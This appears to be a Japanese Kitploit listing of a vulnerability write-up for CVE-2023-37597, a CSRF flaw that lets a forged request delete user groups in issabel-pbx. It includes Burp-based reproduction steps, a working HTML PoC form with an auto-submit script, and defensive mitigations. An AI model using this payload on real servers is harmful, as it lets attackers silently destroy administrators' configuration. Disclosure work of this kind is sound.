Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-37597 — Issabel-pbx v 4.0.0-6 には、ユーザーグループ管理機能にクロスサイトリクエストフォージェリ (CSRF) の脆弱性が含まれています。 | Kitploit
ツール/GitHubGitHub/sahiloj/cve-2023-37597
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubsahiloj/cve-2023-37597

CVE-2023-37597

Issabel-pbx v 4.0.0-6 には、ユーザーグループ管理機能にクロスサイトリクエストフォージェリ (CSRF) の脆弱性が含まれています。

リポジトリを見る
116ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-37597 — issabel-pbx 4.0.0-6: クロスサイト・リクエスト・フォージェリ (CSRF) — ユーザーグループの削除

免責事項: このリポジトリは、教育および許可されたセキュリティ研究のみを目的としています。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して、このエクスプロイトを使用しないでください。


目次

  • 概要
  • 脆弱性の詳細
  • 影響を受ける製品
  • 技術的分析
  • 攻撃シナリオ
  • 概念実証 (PoC)
    • 再現手順
    • PoCエクスプロイトコード
  • 影響
  • 緩和策と是正
  • 開示タイムライン
  • 参考文献
  • 著者

概要

issabel-pbx は、VoIPサービス、テレフォニー管理、Webベースの管理を提供する、広く使用されているオープンソースのユニファイドコミュニケーション基盤 (PBX) です。issabel-pbx バージョン 4.0.0-6 には、ユーザーグループ管理機能にクロスサイト・リクエスト・フォージェリ (CSRF) の脆弱性が存在します。

認証されていないリモート攻撃者は、悪意のあるHTMLページを作成し、認証済みの管理者がそのページを訪問すると、ユーザーグループを削除する偽造HTTP POSTリクエストが静かに発行されます。このアプリケーションは、CSRFトークンや SameSite Cookieポリシーによる状態変更リクエストの生成元検証を行わないため、ブラウザは管理者のセッションCookieを自動的に含め、被害者の知識や同意なしに削除が成功します。


脆弱性の詳細


影響を受ける製品


技術的分析

CSRFとは?

クロスサイト・リクエスト・フォージェリ (CSRF) は、被害者のブラウザを騙して、攻撃者に代わって認証済みリクエストをターゲットアプリケーションに送信させる攻撃です。この攻撃は以下の条件が揃うと成功します:

  1. 被害者がターゲットアプリケーションとのアクティブな認証済みセッションを持っている。
  2. アプリケーションがリクエストの認証をセッションCookieのみに依存している (つまり、CSRFトークン、Origin/Referer 検証、SameSite=Strict または SameSite=Lax Cookie属性がない)。
  3. 攻撃者が状態変更リクエストの構造を予測できる。

根本原因

issabel-pbx 4.0.0-6 のユーザーグループ削除エンドポイント (/index.php?menu=grouplist) は、delete アクションと id_user パラメータのみを含むHTTP POSTリクエストを処理します。このアプリケーションは以下を行いません:

  • シンクロナイザー (CSRF対策) トークンの生成または検証。
  • Origin または Referer HTTPヘッダーのチェック。
  • セッションCookieへの SameSite 属性の設定。

その結果、被害者のブラウザに読み込まれた任意のWebページが、被害者の既存セッションを使用して削除フォームを静かに送信できます。ブラウザがセッションCookieを自動的に添付するためです。

脆弱なエンドポイント

root@kitploit:~
POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>

delete=Delete&id_user=<USER_GROUP_ID>

攻撃シナリオ

  1. 攻撃者は、Issabel管理パネルに削除リクエストをPOSTする隠しフォームを含む悪意のあるHTMLページを作成します。
  2. 攻撃者は、フィッシングメール、チャットメッセージ内のリンク、または侵害されたページに埋め込まれた `` を介して、認証済みのIssabel管理者にそのページを配信します。
  3. 被害者のブラウザがページを読み込みます。JavaScriptが自動的にフォームを送信するか、被害者は偽の「Submit」ボタンをクリックするようソーシャルエンジニアリングされます。
  4. Issabelサーバーは、管理者のセッションCookieを含む有効なPOSTリクエストを受信し、追加の確認やトークン検証なしにターゲットのユーザーグループを削除します。
  5. ユーザーグループは恒久的に削除され、コールルーティング、アクセス制御、およびそのグループに依存するすべてのユーザーに混乱が生じる可能性があります — 事実上、アプリケーションレベルでのサービス拒否 (DoS) を引き起こします。

概念実証 (PoC)

警告: 以下のPoCは教育目的のみで提供されています。ラボ環境または明示的な許可を得たシステムでのみ使用してください。

再現手順

手順1 — Issabel管理パネルにログインします

ユーザーグループ一覧ページに移動し、管理者資格情報でログインします。

root@kitploit:~
https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11

管理パネル — ユーザーグループ一覧


手順2 — 削除リクエストをキャプチャします

Burp Suiteを介してトラフィックをプロキシしながら、ユーザーグループの削除を試みます。キャプチャしたPOSTリクエストを右クリックし、Engagement Tools → Generate CSRF PoC を選択して、エクスプロイトHTMLの骨組みを生成します。

Burp Suite — キャプチャした削除リクエスト


手順3 — CSRFエクスプロイトページをホストします

生成されたHTMLをファイルとして保存します (以下の PoCエクスプロイトコード を参照)。攻撃者が管理するサーバーでホストするか、被害者に直接送信します。


手順4 — 被害者がエクスプロイトページを開きます

認証済みの管理者がエクスプロイトURLを開くかリダイレクトされると、隠しフォームが自動送信される (または被害者がデコイボタンをクリックする) と、ターゲットのユーザーグループが管理パネルから削除されます。

エクスプロイト送信 — グループ削除 (削除前)

エクスプロイト送信 — グループ削除 (削除後)


PoCエクスプロイトコード

以下のHTMLファイル (CSRF exploit.html としても利用可能) は、この攻撃を示しています。{Issabel IP} をターゲットホストに置き換え、id_user を削除したいグループIDに合わせて調整します。

root@kitploit:~
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
      <input type="hidden" name="delete" value="Delete" />
      <input type="hidden" name="id_user" value="7" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

自動送信バリアント: 被害者が何もクリックする必要をなくすには、<body> タグ内に以下を追加して、ページ読み込み時にフォームが自動送信されるようにします:

root@kitploit:~
<script>document.forms[0].submit();</script>

影響

DimensionDescription
完全性攻撃者はIssabel管理パネルから任意のユーザーグループを静かに削除できます。
可用性ユーザーグループの削除により、それらのグループに属するすべてのユーザーのコールルーティングルール、アクセス制御、テレフォニーサービスが中断され、部分的なサービス拒否に相当します。
機密性この脆弱性によって直接影響を受けません。

緩和策と是正

管理者と開発者は以下の防御策を適用する必要があります:

  1. CSRFトークンの実装 (シンクロナイザートークンパターン)

    • すべての状態変更フォームに対して、セッションごと (またはリクエストごと) の一意で予測不可能なトークンを生成します。
    • POST/PUT/DELETE操作を処理する前に、サーバー側でトークンを検証します。
  2. SameSite Cookie属性の設定

    • セッションCookieに SameSite=Lax (最低限) または SameSite=Strict を設定して、クロスオリジンリクエストがセッション資格情報を保持しないようにします。
    • レスポンスヘッダーの例: Set-Cookie: PHPSESSID=...; SameSite=Lax; Secure; HttpOnly
  3. Origin および Referer ヘッダーの検証

    • サーバー側で、Origin または Referer ヘッダーがアプリケーション自身のドメインと一致しないリクエストを拒否します。
  4. 破壊的操作に対する再認証の要求

    • グループを削除したり、その他の破壊的操作を実行する前に、管理者にパスワードの確認を求めます。
  5. 多層防御の適用

    • Webアプリケーションファイアウォール (WAF) ルールを使用して、機密エンドポイントへの予期しないクロスオリジンPOSTリクエストをブロックします。

開示タイムライン

DateEvent
2023年7月10日Sahil Ojha によって脆弱性が発見・文書化されました
2023年7月10日CVE-2023-37597 が割り当てられました
2023年7月10日公開開示

参考文献

  • NVD — CVE-2023-37597
  • OWASP — クロスサイト・リクエスト・フォージェリ (CSRF)
  • OWASP CSRF防止チートシート
  • CWE-352: クロスサイト・リクエスト・フォージェリ (CSRF)
  • Issabel Foundation — issabelPBX

著者

Sahil Ojha セキュリティ研究者

この調査が役立った場合は、お気軽にリポジトリに ⭐ を付けてください。

ツールをダウンロード
FieldValue
CVE IDCVE-2023-37597
脆弱性クロスサイト・リクエスト・フォージェリ (CSRF)
CWECWE-352 — クロスサイト・リクエスト・フォージェリ (CSRF)
深刻度中 (Medium)
CVSSベクターCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
影響を受けるバージョンissabel-pbx 4.0.0-6
開示日2023年7月10日
研究者Sahil Ojha
FieldValue
製品名issabel-pbx
バージョン4.0.0-6
ベンダーIssabel Foundation
ベンダーホームページhttps://www.issabel.org/
ソースコードhttps://github.com/IssabelFoundation/issabelPBX
テスト環境Windows (Burp Suite Community Edition)